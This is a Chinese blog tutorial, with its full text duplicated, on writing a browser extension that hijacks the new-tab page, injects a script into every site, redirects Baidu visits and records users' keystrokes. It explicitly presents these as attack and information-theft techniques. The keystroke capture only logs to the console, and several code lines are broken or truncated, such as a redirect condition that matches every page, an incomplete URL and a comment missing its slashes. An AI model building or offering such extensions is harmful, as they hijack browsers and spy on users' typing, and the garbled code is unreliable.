最新消息: USBMI致力于为网友们分享Windows、安卓、IOS等主流手机系统相关的资讯以及评测、同时提供相关教程、应用、软件下载等服务。

浏览器插件 实现简单的网页拦截、信息窃取的脚本注入

常识 admin 152浏览 0评论

浏览器插件 实现简单的网页拦截、信息窃取的脚本注入

一、配置插件:manifest.json

1、基础配置

"manifest_version":2,
"name":"myPlugin",
"version":"1.0.1",
"description":"第一个浏览器插件",
"icons":{
	"16":"img/vip_80px.png",
	"48":"img/vip_80px.png",
	"128":"img/vip_80px.png"
},

manifest_version:插件版本,必须是2

name:插件名字

version:插件版本

description:插件描述

icons:插件图标

效果如下:

2、加载插件的入口动作

"browser_action":{
	"default_icon":"img/vip_80px.png",
	"default_popup":"popup.html",
	"default_title":"插件"
},

 default_popup:插件使用弹窗

效果如下:

 3、主页篡改:拦截浏览器的新页面

"chrome_url_overrides":{
	"newtab":"index.html"
},

加载自己写的index.html界面

效果如下:

4、 插件配置方案,注入攻击脚本

"content_scripts":[
	{
		"matches":["<all_urls>"],//所有网站
		"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
		"run_at":"document_start"
	}
]

matches:注入及匹配范围,设定脚本的有效范围网站

js:注入js脚本

run_at:注入时机,start/end/idle

二、编写脚本:content_script.js

1、监听页面加载完成后的动作,预判页面能否正常运行

document.addEventListener("DOMContentLoaded", function(){
	console.log("页面加载完成,继续进行脚本注入")
})

效果如下:

2、网页拦截:举例百度

if (location.href.indexOf("")!=-1){
	location.href = "http://www.163";
}

用户输入百度网址,实际跳转163网站

效果如下:

3、信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息

$(document).keydown(function(event){
	var fromUrl = location.href; 
	var inputkeycode = event.keyCode; 
	var inputTime = new Date().getTime(); 

	console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})

location.href:定位网页

event.keyCode:获取输入内容

效果如下:

 三、完整代码

manifest.json:

{
	//插件版本清单,必须是2
	"manifest_version":2,
	//插件名
	"name":"myPlugin",
	//插件版本
	"version":"1.0.1",
	"description":"第一个浏览器插件",
	//插件的图标:3个尺寸,png
	"icons":{
		"16":"img/vip_80px.png",
		"48":"img/vip_80px.png",
		"128":"img/vip_80px.png"
	},
	//加载插件的入口动作
	"browser_action":{
		"default_icon":"img/vip_80px.png",
		"default_popup":"popup.html",
		"default_title":"插件"
	},
	
	//主页篡改
	//拦截浏览器的新页面
	"chrome_url_overrides":{
		"newtab":"index.html"
	},
	
	//注入攻击脚本——自动化SQL注入、窃取、广告等等
	"content_scripts":[
		//配置方案
		{
			//注入及匹配范围,设定脚本的有效范围是哪些网站
			"matches":["<all_urls>"],//所有网站
			//注入js脚本
			"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
			//注入时机:document_start/document_end/document_idle
			"run_at":"document_start"
		}
	]
}

 index.html:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<title></title>
	</head>
	<body>
		<div>网页丢失啦</div>
	</body>
</html>

popup.html:

popup.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>

	</head>
	<body>
		<div style="width: 200px;height: 200px;">这是一个弹窗</div> 
	</body>
</html>

content_script.js:

//监听页面加载完成后的动作,预判页面能否正常运行
//页面的DOM已加载完成后,就执行下列操作
document.addEventListener("DOMContentLoaded", function(){
	console.log("页面加载完成,继续进行脚本注入")
})

网页拦截:拦截百度
if (location.href.indexOf("")!=-1){
	location.href = "http://www.163";
}

//信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
	var fromUrl = location.href;  //定位网页
	var inputkeycode = event.keyCode;  //获取键盘输入内容
	var inputTime = new Date().getTime();  //获取输入时间

	console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})

浏览器插件 实现简单的网页拦截、信息窃取的脚本注入

一、配置插件:manifest.json

1、基础配置

"manifest_version":2,
"name":"myPlugin",
"version":"1.0.1",
"description":"第一个浏览器插件",
"icons":{
	"16":"img/vip_80px.png",
	"48":"img/vip_80px.png",
	"128":"img/vip_80px.png"
},

manifest_version:插件版本,必须是2

name:插件名字

version:插件版本

description:插件描述

icons:插件图标

效果如下:

2、加载插件的入口动作

"browser_action":{
	"default_icon":"img/vip_80px.png",
	"default_popup":"popup.html",
	"default_title":"插件"
},

 default_popup:插件使用弹窗

效果如下:

 3、主页篡改:拦截浏览器的新页面

"chrome_url_overrides":{
	"newtab":"index.html"
},

加载自己写的index.html界面

效果如下:

4、 插件配置方案,注入攻击脚本

"content_scripts":[
	{
		"matches":["<all_urls>"],//所有网站
		"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
		"run_at":"document_start"
	}
]

matches:注入及匹配范围,设定脚本的有效范围网站

js:注入js脚本

run_at:注入时机,start/end/idle

二、编写脚本:content_script.js

1、监听页面加载完成后的动作,预判页面能否正常运行

document.addEventListener("DOMContentLoaded", function(){
	console.log("页面加载完成,继续进行脚本注入")
})

效果如下:

2、网页拦截:举例百度

if (location.href.indexOf("")!=-1){
	location.href = "http://www.163";
}

用户输入百度网址,实际跳转163网站

效果如下:

3、信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息

$(document).keydown(function(event){
	var fromUrl = location.href; 
	var inputkeycode = event.keyCode; 
	var inputTime = new Date().getTime(); 

	console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})

location.href:定位网页

event.keyCode:获取输入内容

效果如下:

 三、完整代码

manifest.json:

{
	//插件版本清单,必须是2
	"manifest_version":2,
	//插件名
	"name":"myPlugin",
	//插件版本
	"version":"1.0.1",
	"description":"第一个浏览器插件",
	//插件的图标:3个尺寸,png
	"icons":{
		"16":"img/vip_80px.png",
		"48":"img/vip_80px.png",
		"128":"img/vip_80px.png"
	},
	//加载插件的入口动作
	"browser_action":{
		"default_icon":"img/vip_80px.png",
		"default_popup":"popup.html",
		"default_title":"插件"
	},
	
	//主页篡改
	//拦截浏览器的新页面
	"chrome_url_overrides":{
		"newtab":"index.html"
	},
	
	//注入攻击脚本——自动化SQL注入、窃取、广告等等
	"content_scripts":[
		//配置方案
		{
			//注入及匹配范围,设定脚本的有效范围是哪些网站
			"matches":["<all_urls>"],//所有网站
			//注入js脚本
			"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
			//注入时机:document_start/document_end/document_idle
			"run_at":"document_start"
		}
	]
}

 index.html:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<title></title>
	</head>
	<body>
		<div>网页丢失啦</div>
	</body>
</html>

popup.html:

popup.html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>

	</head>
	<body>
		<div style="width: 200px;height: 200px;">这是一个弹窗</div> 
	</body>
</html>

content_script.js:

//监听页面加载完成后的动作,预判页面能否正常运行
//页面的DOM已加载完成后,就执行下列操作
document.addEventListener("DOMContentLoaded", function(){
	console.log("页面加载完成,继续进行脚本注入")
})

网页拦截:拦截百度
if (location.href.indexOf("")!=-1){
	location.href = "http://www.163";
}

//信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
	var fromUrl = location.href;  //定位网页
	var inputkeycode = event.keyCode;  //获取键盘输入内容
	var inputTime = new Date().getTime();  //获取输入时间

	console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})

发布评论

评论列表 (0)

  1. 暂无评论